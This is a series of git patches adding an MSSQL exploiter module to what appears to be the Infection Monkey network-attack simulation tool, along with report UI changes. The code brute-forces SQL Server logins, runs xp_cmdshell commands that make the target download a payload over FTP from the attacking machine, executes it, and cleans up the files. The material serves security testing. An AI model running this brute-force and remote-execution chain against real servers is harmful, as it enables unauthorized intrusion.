From 149525d205e2b074d0891c706d05e56c690510da Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 26 Jun 2018 17:47:43 +0300 Subject: [PATCH 001/201] Added the MSSQLExploiter class The helper functions and utils are in mssqlexec_utils.py file Everything is documented and this commit is still WIP. * Added the class to the monkey's config file and example. * Added the class to the UI config. * Added the class import to __init__.py file --- infection_monkey/config.py | 4 +- infection_monkey/example.conf | 3 +- infection_monkey/exploit/__init__.py | 1 + infection_monkey/exploit/mssqlexec.py | 106 +++++++++++ infection_monkey/exploit/mssqlexec_utils.py | 200 ++++++++++++++++++++ infection_monkey/requirements.txt | 2 + monkey_island/cc/services/config.py | 8 + 7 files changed, 321 insertions(+), 3 deletions(-) create mode 100644 infection_monkey/exploit/mssqlexec.py create mode 100644 infection_monkey/exploit/mssqlexec_utils.py diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 96d6da9a9..8a18ab7d7 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter + SambaCryExploiter, ElasticGroovyExploiter, MSSQLExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \ MSSQLFinger @@ -147,7 +147,7 @@ class Configuration(object): scanner_class = TcpScanner finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] - exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits + exploiter_classes = [SmbExploiter, WmiExploiter, MSSQLExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux ElasticGroovyExploiter, # multi ] diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index d8cf4b0ca..ef04e7f82 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -36,7 +36,8 @@ "WmiExploiter", "ShellShockExploiter", "ElasticGroovyExploiter", - "SambaCryExploiter" + "SambaCryExploiter", + "MSSQLExploiter" ], "finger_classes": [ "SSHFinger", diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index a05f5b079..338e098c2 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -41,3 +41,4 @@ from sshexec import SSHExploiter from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter +from mssqlexec import MSSQLExploiter diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py new file mode 100644 index 000000000..41762d9ce --- /dev/null +++ b/infection_monkey/exploit/mssqlexec.py @@ -0,0 +1,106 @@ +from os import path +import logging +import pymssql + +import mssqlexec_utils +from exploit import HostExploiter + +__author__ = 'Maor Rayzin' + +LOG = logging.getLogger(__name__) + + +class MSSQLExploiter(HostExploiter): + + _TARGET_OS_TYPE = ['windows'] + LOGIN_TIMEOUT = 15 + SQL_DEFAULT_TCP_PORT = '1433' + DEFAULT_PAYLOAD_PATH = path.abspath(r'.\payloads\mssqlexec_payload.bat') + + def __init__(self, host): + super(MSSQLExploiter, self).__init__(host) + self._config = __import__('config').WormConfiguration + self.attacks_list = [mssqlexec_utils.CmdShellAttack] + + def exploit_host(self): + """ + Main function of the mssql brute force + Return: + True or False depends on process success + """ + username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() + if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, + self.DEFAULT_PAYLOAD_PATH): + LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr)) + return True + else: + LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) + return False + + def handle_payload(self, cursor, payload): + + """ + Handles the process of payload sending and execution, prepares the attack and details. + + Args: + cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands. + payload (string): Payload path + + Return: + True or False depends on process success + """ + + chosen_attack = self.attacks_list[0](payload, cursor) + + if chosen_attack.send_payload(): + LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) + if chosen_attack.execute_payload(): + LOG.debug('Payload: {0} has been successfully executed on host'.format(payload)) + return True + else: + LOG.error("Payload: {0} couldn't be executed".format(payload)) + else: + LOG.error("Payload: {0} couldn't be sent to host".format(payload)) + + return False + + def brute_force_begin(self, host, port, users_passwords_pairs_list, payload): + """ + Starts the brute force connection attempts and if needed then init the payload process. + Main loop starts here. + + Args: + host (str): Host ip address + port (str): Tcp port that the host listens to + payload (str): Local path to the payload + users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with + + Return: + True or False depends if the whole bruteforce and attack process was completed successfully or not + """ + # Main loop + # Iterates on users list + for user, password in users_passwords_pairs_list: + try: + # Core steps + # Trying to connect + conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT) + LOG.info('Successfully connected to host: {0}, ' + 'using user: {1}, password: {2}'.format(host, user, password)) + cursor = conn.cursor() + + # Handles the payload and return True or False + if self.handle_payload(cursor, payload): + LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host)) + return True + else: + LOG.warning("user: {0} and password: {1}, " + "was able to connect to host: {2} but couldn't handle payload: {3}" + .format(user, password, host, payload)) + except pymssql.OperationalError: + # Combo didn't work, hopping to the next one + pass + + LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' + 'aborting brute force'.format(host, port)) + return False diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py new file mode 100644 index 000000000..c5d189076 --- /dev/null +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -0,0 +1,200 @@ + +import os +import multiprocessing +import logging +import socket + +import pymssql + +from pyftpdlib.authorizers import DummyAuthorizer +from pyftpdlib.handlers import FTPHandler +from pyftpdlib.servers import FTPServer + + +FTP_SERVER_PORT = 1026 +FTP_SERVER_ADDRESS = '' +FTP_SERVER_USER = 'brute' +FTP_SERVER_PASSWORD = 'force' +FTP_WORKING_DIR = '.' + + +class FTP: + + """Configures and establish an FTP server with default details. + + Args: + user (str): User for FTP server auth + password (str): Password for FTP server auth + working_dir (str): The local working dir to init the ftp server on. + + """ + + def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, + working_dir=FTP_WORKING_DIR): + """Look at class level docstring.""" + + self.user = user + self.password = password + self.working_dir = working_dir + + def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, + working_dir=FTP_WORKING_DIR): + + """ Configures and runs the ftp server to listen forever until stopped. + + Args: + user (str): User for FTP server auth + password (str): Password for FTP server auth + working_dir (str): The local working dir to init the ftp server on. + """ + + # Defining an authorizer and configuring the ftp user + authorizer = DummyAuthorizer() + authorizer.add_user(user, password, working_dir, perm='elradfmw') + + # Normal ftp handler + handler = FTPHandler + handler.authorizer = authorizer + + address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT) + + # Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword + self.server = FTPServer(address, handler) + + # Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I + # multiproccess is being used here. + self.server.serve_forever() + + def stop_server(self): + # Stops the FTP server and closing all connections. + self.server.close_all() + + +class AttackHost(object): + """ + This class acts as an interface for the attacking methods class + + Args: + payload_path (str): The local path of the payload file + """ + + def __init__(self, payload_path): + self.payload_path = payload_path + + def send_payload(self): + raise NotImplementedError("Send function not implemented") + + def execute_payload(self): + raise NotImplementedError("execute function not implemented") + + +class CmdShellAttack(AttackHost): + + """ + This class uses the xp_cmdshell command execution and will work only if its available on the remote host. + + Args: + payload_path (str): The local path of the payload file + cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with. + + """ + + def __init__(self, payload_path, cursor): + super(CmdShellAttack, self).__init__(payload_path) + self.ftp_server, self.ftp_server_p = self.__init_ftp_server() + self.cursor = cursor + self.attacker_ip = self.__find_own_ip() + + def send_payload(self): + """ + Sets up an FTP server and using it to download the payload to the remote host + + Return: + True if payload sent False if not. + """ + + # Sets up the cmds to run + shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \ + echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER) + shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD) + + shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\ + .format(self.payload_path) + shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """ + shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4] + + # Checking to see if ftp server is up + if self.ftp_server_p and self.ftp_server: + + try: + # Running the cmd on remote host + for cmd in shellcmds: + self.cursor.execute(cmd) + except Exception, e: + logging.error('Error sending the payload using xp_cmdshell to host: {0}'.format(e.message)) + self.ftp_server_p.terminate() + return False + return True + else: + logging.error("Couldn't establish an FTP server for the dropout") + return False + + def execute_payload(self): + + """ + Executes the payload after ftp drop + + Return: + True if payload was executed successfully, False if not. + """ + + # Getting the payload's file name + payload_file_name = os.path.split(self.payload_path)[1] + + # Preparing the cmd to run on remote, using no_output so i can capture exit code: 0 -> success, 1 -> error. + shellcmd = """DECLARE @i INT \ + EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \ + SELECT @i """.format(payload_file_name) + + try: + # Executing payload on remote host + logging.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) + self.cursor.execute(shellcmd) + if self.cursor.fetchall()[0][0] == 0: + # Success + self.ftp_server_p.terminate() + logging.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) + return True + else: + logging.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) + self.ftp_server_p.terminate() + return False + + except pymssql.OperationalError: + logging.error('Executing payload: {0} failed'.format(payload_file_name)) + self.ftp_server_p.terminate() + return False + + def __init_ftp_server(self): + """ + Init an FTP server using FTP class on a different process + + Return: + ftp_s: FTP server object + p: the process obj of the FTP object + """ + + try: + ftp_s = FTP() + multiprocessing.log_to_stderr(logging.DEBUG) + p = multiprocessing.Process(target=ftp_s.run_server) + p.start() + logging.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) + return ftp_s, p + except Exception, e: + logging.error('Exception raised while trying to pull up the ftp server: {0}'.format(e.message)) + return None, None + + def __find_own_ip(self): + ip_list = [ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")] + return ip_list[0] diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index 8683987c4..3be45eb02 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -14,3 +14,5 @@ six ecdsa netifaces ipaddress +pymssql +pyftpdlib diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 2887bf5a3..8726428bd 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -38,6 +38,13 @@ SCHEMA = { ], "title": "WMI Exploiter" }, +{ + "type": "string", + "enum": [ + "MSSQLExploiter" + ], + "title": "MSSQL Exploiter" + }, { "type": "string", "enum": [ @@ -615,6 +622,7 @@ SCHEMA = { "default": [ "SmbExploiter", "WmiExploiter", + "MSSQLExploiter", "SSHExploiter", "ShellShockExploiter", "SambaCryExploiter", From b46810e02b9db7e4d211b2cb9426750e53c58161 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 27 Jun 2018 21:30:54 +0300 Subject: [PATCH 002/201] * Finalized the MS-SQL code * Changed the log to the right handle and added exceptions info. * better docs and some pep 8 --- infection_monkey/exploit/mssqlexec.py | 1 + infection_monkey/exploit/mssqlexec_utils.py | 24 +++++++++++-------- .../payloads/mssqlexec_payload.bat | 1 + 3 files changed, 16 insertions(+), 10 deletions(-) create mode 100644 infection_monkey/payloads/mssqlexec_payload.bat diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 41762d9ce..54207d009 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -1,5 +1,6 @@ from os import path import logging + import pymssql import mssqlexec_utils diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py index c5d189076..13509f0f0 100644 --- a/infection_monkey/exploit/mssqlexec_utils.py +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -1,4 +1,3 @@ - import os import multiprocessing import logging @@ -11,12 +10,17 @@ from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer +__author__ = 'Maor Rayzin' + + FTP_SERVER_PORT = 1026 FTP_SERVER_ADDRESS = '' FTP_SERVER_USER = 'brute' FTP_SERVER_PASSWORD = 'force' FTP_WORKING_DIR = '.' +LOG = logging.getLogger(__name__) + class FTP: @@ -131,12 +135,12 @@ class CmdShellAttack(AttackHost): for cmd in shellcmds: self.cursor.execute(cmd) except Exception, e: - logging.error('Error sending the payload using xp_cmdshell to host: {0}'.format(e.message)) + LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) self.ftp_server_p.terminate() return False return True else: - logging.error("Couldn't establish an FTP server for the dropout") + LOG.error("Couldn't establish an FTP server for the dropout") return False def execute_payload(self): @@ -151,27 +155,27 @@ class CmdShellAttack(AttackHost): # Getting the payload's file name payload_file_name = os.path.split(self.payload_path)[1] - # Preparing the cmd to run on remote, using no_output so i can capture exit code: 0 -> success, 1 -> error. + # Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error. shellcmd = """DECLARE @i INT \ EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \ SELECT @i """.format(payload_file_name) try: # Executing payload on remote host - logging.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) + LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) self.cursor.execute(shellcmd) if self.cursor.fetchall()[0][0] == 0: # Success self.ftp_server_p.terminate() - logging.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) + LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) return True else: - logging.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) + LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) self.ftp_server_p.terminate() return False except pymssql.OperationalError: - logging.error('Executing payload: {0} failed'.format(payload_file_name)) + LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True) self.ftp_server_p.terminate() return False @@ -189,10 +193,10 @@ class CmdShellAttack(AttackHost): multiprocessing.log_to_stderr(logging.DEBUG) p = multiprocessing.Process(target=ftp_s.run_server) p.start() - logging.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) + LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) return ftp_s, p except Exception, e: - logging.error('Exception raised while trying to pull up the ftp server: {0}'.format(e.message)) + LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True) return None, None def __find_own_ip(self): diff --git a/infection_monkey/payloads/mssqlexec_payload.bat b/infection_monkey/payloads/mssqlexec_payload.bat new file mode 100644 index 000000000..ce98c4b3e --- /dev/null +++ b/infection_monkey/payloads/mssqlexec_payload.bat @@ -0,0 +1 @@ +dir c:\>c:\tmp\dir.txt \ No newline at end of file From 80d6b327bc5122d921cc5e0ec62804f1ac9ca940 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 11:57:56 +0300 Subject: [PATCH 003/201] * Added MSSQL exploiter report frontend details. --- infection_monkey/exploit/mssqlexec.py | 1 + monkey_island/cc/services/report.py | 16 ++++++++++-- .../cc/ui/src/components/pages/ReportPage.js | 26 +++++++++++++++++-- 3 files changed, 39 insertions(+), 4 deletions(-) diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 54207d009..0fae16fe4 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -88,6 +88,7 @@ class MSSQLExploiter(HostExploiter): conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT) LOG.info('Successfully connected to host: {0}, ' 'using user: {1}, password: {2}'.format(host, user, password)) + self.report_login_attempt(True, user, password) cursor = conn.cursor() # Handles the payload and return True or False diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 369b29c25..f3774804e 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -30,7 +30,8 @@ class ReportService: 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', - 'Struts2Exploiter': 'Struts2 Exploiter' + 'Struts2Exploiter': 'Struts2 Exploiter', + 'MSSQLExploiter': 'MSSQL Exploiter' } class ISSUES_DICT(Enum): @@ -43,6 +44,7 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 + MSSQL = 9 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -298,6 +300,13 @@ class ReportService: processed_exploit['type'] = 'struts2' return processed_exploit + @staticmethod + def process_mssql_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'mssql' + return processed_exploit + + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -310,7 +319,8 @@ class ReportService: 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, - 'Struts2Exploiter': ReportService.process_struts2_exploit + 'Struts2Exploiter': ReportService.process_struts2_exploit, + 'MSSQLExploiter': ReportService.process_mssql_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -430,6 +440,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'] == 'struts2': issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True + elif issue['type'] == 'mssql': + issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 2a02a092d..49becf70e 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -24,7 +24,8 @@ class ReportPageComponent extends AuthComponent { CONFICKER: 5, AZURE: 6, STOLEN_SSH_KEYS: 7, - STRUTS2: 8 + STRUTS2: 8, + MSSQL: 9 }; Warning = @@ -326,6 +327,10 @@ class ReportPageComponent extends AuthComponent {
  • Struts2 servers are vulnerable to remote code execution. ( CVE-2017-5638)
  • : null } + {this.state.report.overview.issues[this.Issue.MSSQL] ? +
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command. ( + More Info.)
  • : null } : @@ -693,7 +698,21 @@ class ReportPageComponent extends AuthComponent { ); } - + generateMSSQLIssue(issue) { + return( +
  • + Disable the xp_cmdshell option. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Conficker attack. +
    + The attack was made possible because the target machine used an outdated MSSQL server configuration allowing + the usage of the xp_cmdshell command. +
    +
  • + ); + } generateIssue = (issue) => { let data; @@ -743,6 +762,9 @@ class ReportPageComponent extends AuthComponent { case 'struts2': data = this.generateStruts2Issue(issue); break; + case 'mssql': + data = this.generateMSSQLIssue(issue); + break; } return data; }; From aae9704cbb1d5da5ee78dc52fe52c7bfc28015d2 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 12:45:14 +0300 Subject: [PATCH 004/201] * Changed the more info tab's location to the right place. --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 49becf70e..cffbdae3e 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -328,9 +328,7 @@ class ReportPageComponent extends AuthComponent { href="https://cwiki.apache.org/confluence/display/WW/S2-045"> CVE-2017-5638) : null } {this.state.report.overview.issues[this.Issue.MSSQL] ? -
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command. ( - More Info.)
  • : null } +
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.
  • : null } : @@ -705,10 +703,10 @@ class ReportPageComponent extends AuthComponent { The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Conficker attack. + className="label label-danger">MSSQL exploit attack attack.
    The attack was made possible because the target machine used an outdated MSSQL server configuration allowing - the usage of the xp_cmdshell command. + the usage of the xp_cmdshell command. To learn more about how to disable this feature, read Microsoft's documentation.
    ); From 2de474667d06501c495ba729a963171b2f4f5933 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 14:43:38 +0300 Subject: [PATCH 005/201] * Fixed a weird text alignment --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index cffbdae3e..4002f3251 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -703,10 +703,12 @@ class ReportPageComponent extends AuthComponent { The machine {issue.machine} ({issue.ip_address}) is vulnerable to a MSSQL exploit attack attack. + className="label label-danger">MSSQL exploit attack.
    The attack was made possible because the target machine used an outdated MSSQL server configuration allowing - the usage of the xp_cmdshell command. To learn more about how to disable this feature, read Microsoft's documentation. + the usage of the xp_cmdshell command. To learn more about how to disable this feature, read + Microsoft's documentation.
    ); From 782ced912d438a14ce14be61d869366b2997cff2 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 16:01:26 +0300 Subject: [PATCH 006/201] * Added a coverage for the force connection closing in the mssql fingerprinter. --- infection_monkey/network/mssql_fingerprint.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 9409c2255..fb7eb91a3 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -53,6 +53,15 @@ class MSSQLFinger(HostFinger): LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) sock.close() return False + except socket.error as e: + if e.errno == socket.errno.ECONNRESET: + LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.' + .format(host)) + else: + LOG.error('An unknown socket error occurred while trying the mssql fingerprint, closing socket.', + exc_info=True) + sock.close() + return False host.services[self.SERVICE_NAME] = {} From 9877b9499c037d1eada1a43be0d6f59457bc00bf Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 16:29:28 +0300 Subject: [PATCH 007/201] * Using get_interface_to_target function in order to retrieve right ip to use. * changed exception syntax to 'as' instead of ',' * added Object to the FTP class --- infection_monkey/exploit/mssqlexec.py | 2 +- infection_monkey/exploit/mssqlexec_utils.py | 11 ++++++----- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 0fae16fe4..6f920a073 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -51,7 +51,7 @@ class MSSQLExploiter(HostExploiter): True or False depends on process success """ - chosen_attack = self.attacks_list[0](payload, cursor) + chosen_attack = self.attacks_list[0](payload, cursor, self.host.ip_addr) if chosen_attack.send_payload(): LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py index 13509f0f0..c3666a340 100644 --- a/infection_monkey/exploit/mssqlexec_utils.py +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -5,6 +5,7 @@ import socket import pymssql +from exploit.tools import get_interface_to_target from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer @@ -22,7 +23,7 @@ FTP_WORKING_DIR = '.' LOG = logging.getLogger(__name__) -class FTP: +class FTP(object): """Configures and establish an FTP server with default details. @@ -103,11 +104,11 @@ class CmdShellAttack(AttackHost): """ - def __init__(self, payload_path, cursor): + def __init__(self, payload_path, cursor, dst_ip_address): super(CmdShellAttack, self).__init__(payload_path) self.ftp_server, self.ftp_server_p = self.__init_ftp_server() self.cursor = cursor - self.attacker_ip = self.__find_own_ip() + self.attacker_ip = get_interface_to_target(dst_ip_address) def send_payload(self): """ @@ -134,7 +135,7 @@ class CmdShellAttack(AttackHost): # Running the cmd on remote host for cmd in shellcmds: self.cursor.execute(cmd) - except Exception, e: + except Exception as e: LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) self.ftp_server_p.terminate() return False @@ -195,7 +196,7 @@ class CmdShellAttack(AttackHost): p.start() LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) return ftp_s, p - except Exception, e: + except Exception as e: LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True) return None, None From f2d17bcedcc2dc0bca4975160b8c3a2ab687b53a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 17 Jul 2018 18:48:58 +0300 Subject: [PATCH 008/201] * Added a cleanup function to attack's files --- infection_monkey/exploit/mssqlexec.py | 2 ++ infection_monkey/exploit/mssqlexec_utils.py | 19 ++++++++++++++----- 2 files changed, 16 insertions(+), 5 deletions(-) diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 6f920a073..44748731b 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -57,12 +57,14 @@ class MSSQLExploiter(HostExploiter): LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) if chosen_attack.execute_payload(): LOG.debug('Payload: {0} has been successfully executed on host'.format(payload)) + chosen_attack.cleanup_files() return True else: LOG.error("Payload: {0} couldn't be executed".format(payload)) else: LOG.error("Payload: {0} couldn't be sent to host".format(payload)) + chosen_attack.cleanup_files() return False def brute_force_begin(self, host, port, users_passwords_pairs_list, payload): diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/infection_monkey/exploit/mssqlexec_utils.py index c3666a340..2089047bb 100644 --- a/infection_monkey/exploit/mssqlexec_utils.py +++ b/infection_monkey/exploit/mssqlexec_utils.py @@ -1,7 +1,6 @@ import os import multiprocessing import logging -import socket import pymssql @@ -180,6 +179,20 @@ class CmdShellAttack(AttackHost): self.ftp_server_p.terminate() return False + def cleanup_files(self): + """ + Cleans up the folder with the attack related files (C:\\tmp by default) + :return: True or False if command executed or not. + """ + cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """ + try: + self.cursor.execute(cleanup_command) + LOG.info('Attack files cleanup command has been sent.') + return True + except Exception as e: + LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True) + return False + def __init_ftp_server(self): """ Init an FTP server using FTP class on a different process @@ -199,7 +212,3 @@ class CmdShellAttack(AttackHost): except Exception as e: LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True) return None, None - - def __find_own_ip(self): - ip_list = [ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")] - return ip_list[0] From 77610d499435fe3f2879ec8d42fee7ee8e57a54d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 18 Jul 2018 13:26:31 +0300 Subject: [PATCH 009/201] * WIP changing the payload static file to be written on runtime --- infection_monkey/exploit/mssqlexec.py | 2 +- infection_monkey/payloads/mssqlexec_payload.bat | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) delete mode 100644 infection_monkey/payloads/mssqlexec_payload.bat diff --git a/infection_monkey/exploit/mssqlexec.py b/infection_monkey/exploit/mssqlexec.py index 44748731b..590741428 100644 --- a/infection_monkey/exploit/mssqlexec.py +++ b/infection_monkey/exploit/mssqlexec.py @@ -16,7 +16,7 @@ class MSSQLExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] LOGIN_TIMEOUT = 15 SQL_DEFAULT_TCP_PORT = '1433' - DEFAULT_PAYLOAD_PATH = path.abspath(r'.\payloads\mssqlexec_payload.bat') + DEFAULT_PAYLOAD_PATH = path.abspath(r'.monkey_utils\payloads\mssqlexec_payload.bat') def __init__(self, host): super(MSSQLExploiter, self).__init__(host) diff --git a/infection_monkey/payloads/mssqlexec_payload.bat b/infection_monkey/payloads/mssqlexec_payload.bat deleted file mode 100644 index ce98c4b3e..000000000 --- a/infection_monkey/payloads/mssqlexec_payload.bat +++ /dev/null @@ -1 +0,0 @@ -dir c:\>c:\tmp\dir.txt \ No newline at end of file From 5c9e8dc6d05b1512e0e015a0f601c55cab32c45b Mon Sep 17 00:00:00 2001 From: "maor.rayzin" 